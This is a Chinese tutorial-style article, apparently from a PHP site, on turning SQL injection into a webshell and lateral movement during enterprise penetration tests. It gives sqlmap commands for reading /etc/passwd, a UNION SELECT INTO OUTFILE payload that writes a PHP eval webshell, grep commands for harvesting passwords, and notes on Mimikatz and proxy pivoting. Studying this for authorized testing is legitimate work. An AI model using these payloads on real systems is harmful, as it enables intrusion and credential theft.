如何在企业内网渗透测试中利用SQL注入横向移动获取权限?

云伟小哥_6325

云伟小哥_6325

2026-07-18

1031人浏览

原创

sql注入本身不能直接横向移动,但可助获取首台服务器控制权,成为横向移动起点;需通过文件写入、绝对路径确认及dba权限等手段获取webshell或os-shell,再提权并探测内网环境方可实施横向移动。

如何在企业内网渗透测试中利用sql注入横向移动获取权限?

SQL注入本身不能直接横向移动,但它能帮你拿到第一台服务器的控制权,这是横向移动的起点。 真正的横向移动发生在你已拿下Web服务器之后,利用它作为跳板去打内网其他机器——而SQL注入只是帮你站上这个跳板的手段之一。

SQL注入后怎么拿到Web服务器系统权限?

很多新手卡在“注入出数据库名”就停了,但横向移动需要的是os-shell或webshell。关键判断点是:目标是否支持文件写入、是否知道绝对路径、数据库用户是否有FILE权限。

  • 用sqlmap -u "url" --is-dba确认当前数据库用户是否为DBA;不是就基本没戏
  • 用sqlmap -u "url" --file-read="/etc/passwd"测试能否读取系统文件,能读说明FILE权限大概率存在
  • 写WebShell前必须确认Web目录绝对路径,常见路径:/var/www/html/、C:\inetpub\wwwroot\;用sqlmap --dump-all或报错信息里找线索
  • 如果--os-shell卡住,优先尝试手工UNION SELECT写入:UNION SELECT 1,2,...,'<?php eval($_POST[pass]);?>',... INTO OUTFILE '/var/www/html/shell.php'

拿到Web服务器权限后,哪些操作能触发横向移动?

此时你只是个低权限Web服务用户(如www-data或IIS_IUSRS),不能直接调用net use或PsExec。必须先提权或收集凭证。

协和·太初
协和·太初

协和·太初是一款面向罕见病辅助诊疗的医学 AI 大模型。

下载
  • 立即执行whoami /all(Windows)或id && cat /etc/passwd(Linux),看是否已是管理员/SYSTEM
  • 检查是否有明文配置文件:cat /var/www/html/config.php、grep -r "password\|pwd" /var/www/ 2>/dev/null
  • Windows下重点搜lsass.exe相关进程和内存——但普通Web用户没权限直接读,得先提权到SYSTEM再上Mimikatz
  • Linux下运行ps aux | grep mysql,看MySQL是否以高权限启动,有时能顺手抓到数据库root密码

为什么SQL注入后的横向移动常失败?三个最硬的坑

不是工具不行,而是环境约束太强。以下三点不满足,90%的横向移动会断在第一步。

  • webshell被限制函数:system、exec、shell_exec被禁用,disable_functions里列了一长串——此时sqlmap --os-shell必然失败,得换PHP一句话+内存马或Python反弹
  • Web服务器与内网不通:很多企业把Web服务器放在DMZ区,只开放80/443出向,ping 192.168.1.10不通就别试smbclient或nc了,先搭代理(如reGeorg或EarthWorm)
  • 没识别清楚域环境:以为自己进了“内网”,结果只是个孤立的Linux Web服务器,根本没连域。用nslookup domain.com和cat /etc/resolv.conf确认DNS是否指向域控,否则所有net命令都是空转

真正卡住人的从来不是SQL语法或sqlmap参数,而是你拿到os-shell后,面对一个禁止执行命令、无法出网、又不连域的Web服务器时,下一步该翻哪份日志、查哪个进程、改哪行配置——这些细节没有标准答案,只有现场反馈。

相关文章

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

sql注入

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
数据分析工具有哪些
数据分析工具有哪些

数据分析工具有Excel、SQL、Python、R、Tableau、Power BI、SAS、SPSS和MATLAB等。详细介绍:1、Excel,具有强大的计算和数据处理功能;2、SQL,可以进行数据查询、过滤、排序、聚合等操作;3、Python,拥有丰富的数据分析库;4、R,拥有丰富的统计分析库和图形库;5、Tableau,提供了直观易用的用户界面等等。

2023.10.12

4203

8

SQL中distinct的用法
SQL中distinct的用法

SQL中distinct的语法是“SELECT DISTINCT column1, column2,...,FROM table_name;”。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2023.10.27

891

4

SQL中months_between使用方法
SQL中months_between使用方法

在SQL中,MONTHS_BETWEEN 是一个常见的函数,用于计算两个日期之间的月份差。想了解更多SQL的相关内容,可以阅读本专题下面的文章。

2024.02.23

1089

5

SQL出现5120错误解决方法
SQL出现5120错误解决方法

SQL Server错误5120是由于没有足够的权限来访问或操作指定的数据库或文件引起的。想了解更多sql错误的相关内容,可以阅读本专题下面的文章。

2024.03.06

6081

10

sql procedure语法错误解决方法
sql procedure语法错误解决方法

sql procedure语法错误解决办法:1、仔细检查错误消息;2、检查语法规则;3、检查括号和引号;4、检查变量和参数;5、检查关键字和函数;6、逐步调试;7、参考文档和示例。想了解更多语法错误的相关内容,可以阅读本专题下面的文章。

2024.03.06

2963

4

oracle数据库运行sql方法
oracle数据库运行sql方法

运行sql步骤包括:打开sql plus工具并连接到数据库。在提示符下输入sql语句。按enter键运行该语句。查看结果,错误消息或退出sql plus。想了解更多oracle数据库的相关内容,可以阅读本专题下面的文章。

2024.04.07

6060

11

sql中where的含义
sql中where的含义

sql中where子句用于从表中过滤数据,它基于指定条件选择特定的行。想了解更多where的相关内容,可以阅读本专题下面的文章。

2024.04.29

8161

6

sql中删除表的语句是什么
sql中删除表的语句是什么

sql中用于删除表的语句是drop table。语法为drop table table_name;该语句将永久删除指定表的表和数据。想了解更多sql的相关内容,可以阅读本专题下面的文章。

2024.04.29

1110

5

sql中删除一列的命令是什么
sql中删除一列的命令是什么

在sql中,使用alter table语句可以删除一列,语法为:alter table table_name drop column column_name。想了解更多sql的相关内容,可以阅读本专题下面的文章。

2024.04.29

972

5

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP开发基础之数据库篇(PDO)
PHP开发基础之数据库篇(PDO)

共10课时 | 2.3万人学习